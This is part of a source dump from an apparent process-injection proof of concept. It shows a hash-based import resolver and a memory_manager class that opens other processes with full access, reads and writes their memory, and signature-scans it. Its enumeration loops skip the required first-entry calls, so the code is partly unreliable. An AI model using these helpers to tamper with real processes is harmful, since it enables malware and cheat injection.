(!value) 638 | value = forwarded(); 639 | return (F)(value); 640 | } 641 | 642 | template 643 | LAZY_IMPORTER_FORCEINLINE static F forwarded_safe_cached() noexcept 644 | { 645 | return forwarded_cached(); 646 | } 647 | 648 | template 649 | LAZY_IMPORTER_FORCEINLINE static F in(Module m) noexcept 650 | { 651 | if (IsSafe && !m) 652 | return {}; 653 | 654 | const exports_directory exports((const char*)(m)); 655 | if (IsSafe && !exports) 656 | return {}; 657 | 658 | for (unsigned long i{};; ++i) { 659 | if (IsSafe && i == exports.size()) 660 | break; 661 | 662 | if (hash(exports.name(i), get_offset(OHP)) == get_hash(OHP)) 663 | return (F)(exports.address(i)); 664 | } 665 | return {}; 666 | } 667 | 668 | template 669 | LAZY_IMPORTER_FORCEINLINE static F in_safe(Module m) noexcept 670 | { 671 | return in(m); 672 | } 673 | 674 | template 675 | LAZY_IMPORTER_FORCEINLINE static F in_cached(Module m) noexcept 676 | { 677 | auto& value = base_type::_cache(); 678 | if (!value) 679 | value = in(m); 680 | return (F)(value); 681 | } 682 | 683 | template 684 | LAZY_IMPORTER_FORCEINLINE static F in_safe_cached(Module m) noexcept 685 | { 686 | return in_cached(m); 687 | } 688 | 689 | template 690 | LAZY_IMPORTER_FORCEINLINE static F nt() noexcept 691 | { 692 | return in(ldr_data_entry()->load_order_next()->DllBase); 693 | } 694 | 695 | template 696 | LAZY_IMPORTER_FORCEINLINE static F nt_safe() noexcept 697 | { 698 | return in_safe(ldr_data_entry()->load_order_next()->DllBase); 699 | } 700 | 701 | template 702 | LAZY_IMPORTER_FORCEINLINE static F nt_cached() noexcept 703 | { 704 | return in_cached(ldr_data_entry()->load_order_next()->DllBase); 705 | } 706 | 707 | template 708 | LAZY_IMPORTER_FORCEINLINE static F nt_safe_cached() noexcept 709 | { 710 | return in_safe_cached(ldr_data_entry()->load_order_next()->DllBase); 711 | } 712 | }; 713 | 714 | } 715 | } // namespace li::detail 716 | 717 | #endif // include guard -------------------------------------------------------------------------------- /ExceptionInjectionPOC/memory_manager.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | 6 | struct module_t 7 | { 8 | DWORD64 base_addr, size; 9 | }; 10 | 11 | class memory_manager 12 | { 13 | public: 14 | module_t target_module; // Hold target module 15 | HANDLE target_process; // for target process 16 | DWORD pid; // for target process 17 | 18 | // For getting a handle to a process 19 | HANDLE get_process(const wchar_t* processName) 20 | { 21 | HANDLE handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); 22 | PROCESSENTRY32 entry; 23 | entry.dwSize = sizeof(entry); 24 | 25 | do 26 | if (!_wcsicmp(entry.szExeFile, processName)) { 27 | pid = entry.th32ProcessID; 28 | CloseHandle(handle); 29 | target_process = OpenProcess(PROCESS_ALL_ACCESS, false, pid); 30 | return target_process; 31 | } 32 | while (Process32Next(handle, &entry)); 33 | 34 | return nullptr; 35 | } 36 | 37 | // For getting information about the executing module 38 | module_t get_target_module(const wchar_t* moduleName) { 39 | HANDLE hmodule = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pid); 40 | MODULEENTRY32 mEntry; 41 | mEntry.dwSize = sizeof(mEntry); 42 | 43 | do { 44 | if (!_wcsicmp(mEntry.szModule, moduleName)) { 45 | CloseHandle(hmodule); 46 | 47 | target_module = { (uintptr_t)mEntry.hModule, mEntry.modBaseSize }; 48 | return target_module; 49 | } 50 | } while (Module32Next(hmodule, &mEntry)); 51 | 52 | module_t mod = { (uintptr_t)false, (uintptr_t)false }; 53 | return mod; 54 | } 55 | 56 | module_t get_module(const wchar_t* moduleName) { 57 | HANDLE hmodule = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pid); 58 | MODULEENTRY32 mEntry; 59 | module_t mModule; 60 | mEntry.dwSize = sizeof(mEntry); 61 | 62 | do { 63 | if (!_wcsicmp(mEntry.szModule, moduleName)) { 64 | CloseHandle(hmodule); 65 | 66 | mModule = { (uintptr_t)mEntry.hModule, mEntry.modBaseSize }; 67 | return mModule; 68 | } 69 | } while (Module32Next(hmodule, &mEntry)); 70 | 71 | module_t mod = { (uintptr_t)false, (uintptr_t)false }; 72 | return mod; 73 | } 74 | 75 | // Basic WPM wrapper, easier to use. 76 | template 77 | bool write_memory(DWORD64 Address, var Value) { 78 | return WriteProcessMemory(target_process, (LPVOID)Address, &Value, sizeof(var), 0); 79 | } 80 | 81 | template 82 | bool write_memory(DWORD64 Address, var Value, DWORD size) { 83 | return WriteProcessMemory(target_process, (LPVOID)Address, &Value, size, 0); 84 | } 85 | 86 | // Basic RPM wrapper, easier to use. 87 | template 88 | var read_memory(DWORD64 Address) { 89 | var value; 90 | ReadProcessMemory(target_process, (LPCVOID)Address, &value, sizeof(var), NULL); 91 | return value; 92 | } 93 | 94 | 95 | // for comparing a region in memory, needed in finding a signature 96 | bool mem_compare(const BYTE* bData, const BYTE* bMask, const char* szMask) { 97 | for (; *szMask; ++szMask, ++bData, ++bMask) { 98 | if (*szMask == 'x' && *bData != *bMask) { 99 | return false; 100 | } 101 | } 102 | return (*szMask == NULL); 103 | } 104 | 105 | // for finding a signature/pattern in memory of another process 106 | uintptr_t signature_scan(DWORD64 start, DWORD64 size, const char* sig, const char* mask) 107 | { 108 | BYTE* data = new BYTE[size]; 109 | SIZE_T bytesRead; 110 | 111 | auto MemoryCompare = [](const BYTE* bData, const BYTE* bMask, const char* szMask) { 112 | for (; *szMask; ++szMask, ++bData, ++bMask) { 113 | if (*szMask == 'x' && *bData != *bMask) { 114 | return false; 115 | } 116 | } 117 | return (*szMask == NULL); 118 | }; 119 | 120 | ReadProcessMemory(target_process, (LPVOID)start, data, size, &bytesRead); 121 | 122 | for (DWORD i = 0; i < size; i++) 123 | { 124 | if (MemoryCompare((const BYTE*)(data + i), (const BYTE*)sig, mask)) { 125 | delete[] data; 126 | return start + i; 127 | } 128 | } 129 | delete[] data; 130 | return NULL; 131 | } 132 | 133 | }; 134 | --------------------------------------------------------------------------------